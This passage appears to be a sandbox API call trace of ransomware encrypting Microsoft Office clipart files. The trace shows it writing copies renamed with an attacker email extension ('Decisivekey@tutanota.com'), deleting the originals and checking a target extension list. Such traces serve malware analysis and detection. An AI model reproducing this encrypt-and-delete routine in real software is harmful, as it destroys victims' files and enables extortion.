dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0222.637] GetLastError () returned 0x0 [0222.637] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x1efc, lpOverlapped=0x0) returned 1 [0222.648] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1f00, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1f00, lpOverlapped=0x0) returned 1 [0222.649] ReadFile (in: hFile=0x220, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.649] WriteFile (in: hFile=0x1f0, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.649] SetEndOfFile (hFile=0x1f0) returned 1 [0222.649] CloseHandle (hObject=0x1f0) returned 1 [0222.649] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.649] SetEndOfFile (hFile=0x220) returned 1 [0222.650] CloseHandle (hObject=0x220) returned 1 [0222.650] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02282_.wmf")) returned 1 [0222.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0222.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0222.650] lstrlenW (lpString=".doc") returned 4 [0222.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.651] lstrlenW (lpString=".docx") returned 5 [0222.651] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.651] lstrlenW (lpString=".pdf") returned 4 [0222.651] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.651] lstrlenW (lpString=".xls") returned 4 [0222.651] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.651] lstrlenW (lpString=".xlsx") returned 5 [0222.651] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.651] lstrlenW (lpString=".ppt") returned 4 [0222.651] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0222.651] lstrlenW (lpString=".zip") returned 4 [0222.651] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.651] lstrlenW (lpString=".rar") returned 4 [0222.651] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.651] lstrlenW (lpString=".bz2") returned 4 [0222.651] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.651] lstrlenW (lpString=".7z") returned 3 [0222.651] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0222.651] lstrlenW (lpString=".dbf") returned 4 [0222.651] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0222.651] lstrlenW (lpString=".1cd") returned 4 [0222.651] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02282_.WMF") returned 63 [0222.651] lstrlenW (lpString=".jpg") returned 4 [0222.651] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.659] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=5552) returned 1 [0222.662] CloseHandle (hObject=0x214) returned 1 [0222.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x20 [0222.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0222.663] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.663] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.663] GetLastError () returned 0x0 [0222.663] ReadFile (in: hFile=0x214, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x15b0, lpOverlapped=0x0) returned 1 [0222.668] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0222.669] ReadFile (in: hFile=0x214, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.669] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.669] SetEndOfFile (hFile=0x1f8) returned 1 [0222.669] CloseHandle (hObject=0x1f8) returned 1 [0222.669] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.669] SetEndOfFile (hFile=0x214) returned 1 [0222.670] CloseHandle (hObject=0x214) returned 1 [0222.670] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.670] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02298_.wmf")) returned 1 [0222.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0222.670] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0222.670] lstrlenW (lpString=".doc") returned 4 [0222.670] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.671] lstrlenW (lpString=".docx") returned 5 [0222.671] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.671] lstrlenW (lpString=".pdf") returned 4 [0222.671] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.671] lstrlenW (lpString=".xls") returned 4 [0222.671] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.671] lstrlenW (lpString=".xlsx") returned 5 [0222.671] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.671] lstrlenW (lpString=".ppt") returned 4 [0222.671] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0222.671] lstrlenW (lpString=".zip") returned 4 [0222.671] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.671] lstrlenW (lpString=".rar") returned 4 [0222.671] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.671] lstrlenW (lpString=".bz2") returned 4 [0222.671] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.671] lstrlenW (lpString=".7z") returned 3 [0222.671] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0222.671] lstrlenW (lpString=".dbf") returned 4 [0222.671] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0222.671] lstrlenW (lpString=".1cd") returned 4 [0222.671] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 63 [0222.671] lstrlenW (lpString=".jpg") returned 4 [0222.671] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.671] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=4970) returned 1 [0222.672] CloseHandle (hObject=0x214) returned 1 [0222.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 0x20 [0222.672] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0222.672] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.672] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0222.672] GetLastError () returned 0x0 [0222.672] ReadFile (in: hFile=0x214, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x136a, lpOverlapped=0x0) returned 1 [0222.729] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1370, lpOverlapped=0x0) returned 1 [0222.730] ReadFile (in: hFile=0x214, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.730] WriteFile (in: hFile=0x1f8, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.730] SetEndOfFile (hFile=0x1f8) returned 1 [0222.730] CloseHandle (hObject=0x1f8) returned 1 [0222.730] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.730] SetEndOfFile (hFile=0x214) returned 1 [0222.731] CloseHandle (hObject=0x214) returned 1 [0222.731] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.731] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02312_.wmf")) returned 1 [0222.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0222.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0222.732] lstrlenW (lpString=".doc") returned 4 [0222.732] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.732] lstrlenW (lpString=".docx") returned 5 [0222.732] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.732] lstrlenW (lpString=".pdf") returned 4 [0222.732] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.732] lstrlenW (lpString=".xls") returned 4 [0222.732] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.732] lstrlenW (lpString=".xlsx") returned 5 [0222.732] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.732] lstrlenW (lpString=".ppt") returned 4 [0222.732] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0222.732] lstrlenW (lpString=".zip") returned 4 [0222.732] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.732] lstrlenW (lpString=".rar") returned 4 [0222.732] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.732] lstrlenW (lpString=".bz2") returned 4 [0222.732] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.732] lstrlenW (lpString=".7z") returned 3 [0222.732] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0222.732] lstrlenW (lpString=".dbf") returned 4 [0222.732] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0222.732] lstrlenW (lpString=".1cd") returned 4 [0222.732] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.732] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02312_.WMF") returned 63 [0222.732] lstrlenW (lpString=".jpg") returned 4 [0222.732] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.733] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3082) returned 1 [0222.733] CloseHandle (hObject=0x214) returned 1 [0222.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 0x20 [0222.733] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0222.733] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.733] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0222.737] GetLastError () returned 0x0 [0222.737] ReadFile (in: hFile=0x214, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xc0a, lpOverlapped=0x0) returned 1 [0222.777] WriteFile (in: hFile=0x230, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xc10, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xc10, lpOverlapped=0x0) returned 1 [0222.783] ReadFile (in: hFile=0x214, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.783] WriteFile (in: hFile=0x230, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.783] SetEndOfFile (hFile=0x230) returned 1 [0222.783] CloseHandle (hObject=0x230) returned 1 [0222.783] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.783] SetEndOfFile (hFile=0x214) returned 1 [0222.784] CloseHandle (hObject=0x214) returned 1 [0222.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.784] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh02313_.wmf")) returned 1 [0222.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0222.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0222.785] lstrlenW (lpString=".doc") returned 4 [0222.785] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.785] lstrlenW (lpString=".docx") returned 5 [0222.785] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.785] lstrlenW (lpString=".pdf") returned 4 [0222.785] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.785] lstrlenW (lpString=".xls") returned 4 [0222.785] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.785] lstrlenW (lpString=".xlsx") returned 5 [0222.785] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.785] lstrlenW (lpString=".ppt") returned 4 [0222.785] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0222.785] lstrlenW (lpString=".zip") returned 4 [0222.785] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.785] lstrlenW (lpString=".rar") returned 4 [0222.785] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.785] lstrlenW (lpString=".bz2") returned 4 [0222.785] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.785] lstrlenW (lpString=".7z") returned 3 [0222.785] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0222.785] lstrlenW (lpString=".dbf") returned 4 [0222.785] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0222.785] lstrlenW (lpString=".1cd") returned 4 [0222.785] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.785] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH02313_.WMF") returned 63 [0222.785] lstrlenW (lpString=".jpg") returned 4 [0222.785] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.802] GetFileSizeEx (in: hFile=0x22c, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=23300) returned 1 [0222.802] CloseHandle (hObject=0x22c) returned 1 [0222.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x20 [0222.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0222.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0222.803] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.803] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0222.803] GetLastError () returned 0x0 [0222.803] ReadFile (in: hFile=0x22c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x5b04, lpOverlapped=0x0) returned 1 [0222.813] WriteFile (in: hFile=0x218, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x5b10, lpOverlapped=0x0) returned 1 [0222.814] ReadFile (in: hFile=0x22c, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0222.814] WriteFile (in: hFile=0x218, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0222.814] SetEndOfFile (hFile=0x218) returned 1 [0222.814] CloseHandle (hObject=0x218) returned 1 [0222.814] SetFilePointerEx (in: hFile=0x22c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0222.814] SetEndOfFile (hFile=0x22c) returned 1 [0222.816] CloseHandle (hObject=0x22c) returned 1 [0222.816] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0222.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0222.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0222.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0222.816] lstrlenW (lpString=".doc") returned 4 [0222.816] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.816] lstrlenW (lpString=".docx") returned 5 [0222.816] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.816] lstrlenW (lpString=".pdf") returned 4 [0222.816] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.816] lstrlenW (lpString=".xls") returned 4 [0222.816] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.816] lstrlenW (lpString=".xlsx") returned 5 [0222.816] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.816] lstrlenW (lpString=".ppt") returned 4 [0222.816] 